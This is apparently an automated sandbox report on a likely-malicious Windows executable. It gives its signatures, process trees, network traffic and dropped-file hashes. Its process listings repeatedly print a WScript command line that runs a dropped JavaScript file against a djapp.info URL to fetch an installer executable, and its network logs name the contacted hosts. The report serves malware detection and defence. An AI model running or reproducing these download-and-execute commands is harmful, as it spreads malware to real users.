Malware Analysis Report

2025-01-18 02:13

Sample ID 240613-jgy2nazbpe
Target a476b8221f46581a692cf59a676c1585_JaffaCakes118
SHA256 7596363de16d1bb02df7acaabda063f8b3db6301371a17ec08e03b9e7ea67854
Tags
execution
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

7596363de16d1bb02df7acaabda063f8b3db6301371a17ec08e03b9e7ea67854

Threat Level: Likely malicious

The file a476b8221f46581a692cf59a676c1585_JaffaCakes118 was found to be: Likely malicious.

Malicious Activity Summary

execution

Blocklisted process makes network request

Checks computer location settings

Unsigned PE

Command and Scripting Interpreter: JavaScript

Enumerates physical storage devices

Modifies registry class

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-06-13 07:39

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-13 07:39

Reported

2024-06-13 07:41

Platform

win7-20240508-en

Max time kernel

144s

Max time network

144s

Command Line

"C:\Users\Admin\AppData\Local\Temp\a476b8221f46581a692cf59a676c1585_JaffaCakes118.exe"

Signatures

Command and Scripting Interpreter: JavaScript

execution

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1704 wrote to memory of 1672 N/A C:\Users\Admin\AppData\Local\Temp\a476b8221f46581a692cf59a676c1585_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 1704 wrote to memory of 1672 N/A C:\Users\Admin\AppData\Local\Temp\a476b8221f46581a692cf59a676c1585_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 1704 wrote to memory of 1672 N/A C:\Users\Admin\AppData\Local\Temp\a476b8221f46581a692cf59a676c1585_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 1704 wrote to memory of 1672 N/A C:\Users\Admin\AppData\Local\Temp\a476b8221f46581a692cf59a676c1585_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 1704 wrote to memory of 2828 N/A C:\Users\Admin\AppData\Local\Temp\a476b8221f46581a692cf59a676c1585_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 1704 wrote to memory of 2828 N/A C:\Users\Admin\AppData\Local\Temp\a476b8221f46581a692cf59a676c1585_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 1704 wrote to memory of 2828 N/A C:\Users\Admin\AppData\Local\Temp\a476b8221f46581a692cf59a676c1585_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 1704 wrote to memory of 2828 N/A C:\Users\Admin\AppData\Local\Temp\a476b8221f46581a692cf59a676c1585_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 1704 wrote to memory of 2212 N/A C:\Users\Admin\AppData\Local\Temp\a476b8221f46581a692cf59a676c1585_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 1704 wrote to memory of 2212 N/A C:\Users\Admin\AppData\Local\Temp\a476b8221f46581a692cf59a676c1585_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 1704 wrote to memory of 2212 N/A C:\Users\Admin\AppData\Local\Temp\a476b8221f46581a692cf59a676c1585_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 1704 wrote to memory of 2212 N/A C:\Users\Admin\AppData\Local\Temp\a476b8221f46581a692cf59a676c1585_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe

Processes

C:\Users\Admin\AppData\Local\Temp\a476b8221f46581a692cf59a676c1585_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\a476b8221f46581a692cf59a676c1585_JaffaCakes118.exe"

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1AA2.js" http://www.djapp.info/?domain=KQqeUzlJPN.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0 C:\Users\Admin\AppData\Local\Temp\fuf1AA2.exe

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1AA2.js" http://www.djapp.info/?domain=KQqeUzlJPN.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0 C:\Users\Admin\AppData\Local\Temp\fuf1AA2.exe

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1AA2.js" http://www.djapp.info/?domain=KQqeUzlJPN.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0 C:\Users\Admin\AppData\Local\Temp\fuf1AA2.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 bi.downthat.com udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 bi.downthat.com udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 bi.downthat.com udp

Files

C:\Users\Admin\AppData\Local\Temp\fuf1AA2.js

MD5 3813cab188d1de6f92f8b82c2059991b
SHA1 4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256 a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA512 83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-13 07:39

Reported

2024-06-13 07:41

Platform

win10v2004-20240611-en

Max time kernel

93s

Max time network

96s

Command Line

"C:\Users\Admin\AppData\Local\Temp\a476b8221f46581a692cf59a676c1585_JaffaCakes118.exe"

Signatures

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WScript.exe N/A
N/A N/A C:\Windows\SysWOW64\WScript.exe N/A
N/A N/A C:\Windows\SysWOW64\WScript.exe N/A
N/A N/A C:\Windows\SysWOW64\WScript.exe N/A
N/A N/A C:\Windows\SysWOW64\WScript.exe N/A
N/A N/A C:\Windows\SysWOW64\WScript.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\a476b8221f46581a692cf59a676c1585_JaffaCakes118.exe N/A

Command and Scripting Interpreter: JavaScript

execution

Enumerates physical storage devices

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000_Classes\Local Settings C:\Users\Admin\AppData\Local\Temp\a476b8221f46581a692cf59a676c1585_JaffaCakes118.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3480 wrote to memory of 1856 N/A C:\Users\Admin\AppData\Local\Temp\a476b8221f46581a692cf59a676c1585_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 3480 wrote to memory of 1856 N/A C:\Users\Admin\AppData\Local\Temp\a476b8221f46581a692cf59a676c1585_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 3480 wrote to memory of 1856 N/A C:\Users\Admin\AppData\Local\Temp\a476b8221f46581a692cf59a676c1585_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 3480 wrote to memory of 2316 N/A C:\Users\Admin\AppData\Local\Temp\a476b8221f46581a692cf59a676c1585_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 3480 wrote to memory of 2316 N/A C:\Users\Admin\AppData\Local\Temp\a476b8221f46581a692cf59a676c1585_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 3480 wrote to memory of 2316 N/A C:\Users\Admin\AppData\Local\Temp\a476b8221f46581a692cf59a676c1585_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 3480 wrote to memory of 1064 N/A C:\Users\Admin\AppData\Local\Temp\a476b8221f46581a692cf59a676c1585_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 3480 wrote to memory of 1064 N/A C:\Users\Admin\AppData\Local\Temp\a476b8221f46581a692cf59a676c1585_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 3480 wrote to memory of 1064 N/A C:\Users\Admin\AppData\Local\Temp\a476b8221f46581a692cf59a676c1585_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 3480 wrote to memory of 2472 N/A C:\Users\Admin\AppData\Local\Temp\a476b8221f46581a692cf59a676c1585_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 3480 wrote to memory of 2472 N/A C:\Users\Admin\AppData\Local\Temp\a476b8221f46581a692cf59a676c1585_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 3480 wrote to memory of 2472 N/A C:\Users\Admin\AppData\Local\Temp\a476b8221f46581a692cf59a676c1585_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 3480 wrote to memory of 3316 N/A C:\Users\Admin\AppData\Local\Temp\a476b8221f46581a692cf59a676c1585_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 3480 wrote to memory of 3316 N/A C:\Users\Admin\AppData\Local\Temp\a476b8221f46581a692cf59a676c1585_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 3480 wrote to memory of 3316 N/A C:\Users\Admin\AppData\Local\Temp\a476b8221f46581a692cf59a676c1585_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe

Processes

C:\Users\Admin\AppData\Local\Temp\a476b8221f46581a692cf59a676c1585_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\a476b8221f46581a692cf59a676c1585_JaffaCakes118.exe"

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf350A.js" http://www.djapp.info/?domain=KQqeUzlJPN.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0 C:\Users\Admin\AppData\Local\Temp\fuf350A.exe

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf350A.js" http://www.djapp.info/?domain=KQqeUzlJPN.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0 C:\Users\Admin\AppData\Local\Temp\fuf350A.exe

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf350A.js" http://www.djapp.info/?domain=KQqeUzlJPN.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0 C:\Users\Admin\AppData\Local\Temp\fuf350A.exe

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf350A.js" http://www.djapp.info/?domain=KQqeUzlJPN.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0 C:\Users\Admin\AppData\Local\Temp\fuf350A.exe

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf350A.js" http://www.djapp.info/?domain=KQqeUzlJPN.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0 C:\Users\Admin\AppData\Local\Temp\fuf350A.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 bi.downthat.com udp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 54.161.222.85:80 bi.downthat.com tcp
US 8.8.8.8:53 www.hugedomains.com udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 85.222.161.54.in-addr.arpa udp
US 8.8.8.8:53 69.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
BE 2.17.107.105:443 www.bing.com tcp
US 8.8.8.8:53 105.107.17.2.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 bi.downthat.com udp
US 3.18.7.81:80 bi.downthat.com tcp
US 8.8.8.8:53 81.7.18.3.in-addr.arpa udp
US 8.8.8.8:53 www.djapp.info udp
US 3.18.7.81:80 bi.downthat.com tcp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 bi.downthat.com udp
US 3.130.204.160:80 bi.downthat.com tcp
US 8.8.8.8:53 160.204.130.3.in-addr.arpa udp
US 8.8.8.8:53 www.djapp.info udp
US 3.130.204.160:80 bi.downthat.com tcp
US 172.67.70.191:443 www.hugedomains.com tcp
US 8.8.8.8:53 203.107.17.2.in-addr.arpa udp
US 8.8.8.8:53 144.107.17.2.in-addr.arpa udp
US 8.8.8.8:53 31.243.111.52.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\fuf350A.js

MD5 3813cab188d1de6f92f8b82c2059991b
SHA1 4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256 a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA512 83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76